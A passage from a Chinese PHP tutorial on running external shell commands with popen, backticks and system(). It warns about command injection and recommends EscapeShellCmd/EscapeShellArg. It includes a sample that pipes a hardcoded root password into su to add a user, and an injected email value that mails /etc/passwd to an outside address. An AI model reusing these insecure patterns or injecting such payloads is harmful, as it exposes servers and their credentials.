中国设计秀欢迎投稿
中国品牌形像设计网
平面设计 画册 VI欣赏 包装 CG-插画 搜索 个人网页 Alexa排名 CSS 建站资源 下载专区 JS特效 品牌服装 服装院校 专题欣赏 SEO 图标欣赏 专题
深圳网站建设 广州网站设计 域名注册 上海网站建设 虚拟主机 广州网站建设 广州网页设计 签名设计 虚拟主机 域名注册 品牌形象设计 设计联盟
求创科技
上海网麒科技
中国福网
中国设计秀
亿恩科技
中国设计秀
中国设计秀
当前位置:网络学院首页 >> 编程开发 >> php >> 使PHP中执行系统外部命令的方法

使PHP中执行系统外部命令的方法 (2)

来源:中国设计秀    作者:    点击:44     加入收藏    发表评论
0
顶一下
中资源

<? 
 $fp=popen("/bin/ls -l", "r"); 
?> 
例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51): 
<?
/* PHP中如何增加一个系统用户
下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考 
*/
 $sucommand = "su --login root --command"; 
 $useradd = "useradd ";
 $rootpasswd = "verygood";
 $user = "james";
 $user_add = sprintf("%s \"%s %s\"", $sucommand, $useradd, $user); 
 $fp = @popen( $user_add,"w"); 
@fputs( $fp, $rootpasswd); 
@pclose( $fp); 
?> 
3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面) 
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如: 
<?
 $res=`/bin/ls -l`; 
echo ’<b><pre>’. $res.’</pre></b>’; 
?> 
这个脚本的输出就象: 
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php 
要考虑些什么? 
要考虑两个问题:安全性和超时。 
先 看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地 址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这 个文件。程序就象这样: 
<?
system("mail  $to < products.txt"); 
echo "我们的产品目录已经发送到你的信箱: $to"; 
?> 
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址: 
’--bla ; mail someone@domain.com < /etc/passwd ;’  那么这条命令最终变成: 
’mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt’ 
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。 
幸 好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。 
[1] [2] [3]
2007-08-27 15:46:00    出处:
热点文章/相关文章
网站地图 | 关于我们 | 联系我们 | 网站建设 | 广告服务 | 版权声明 | 免责声明 | 网站公告 | 友情链接 | 留言 | 旧版入口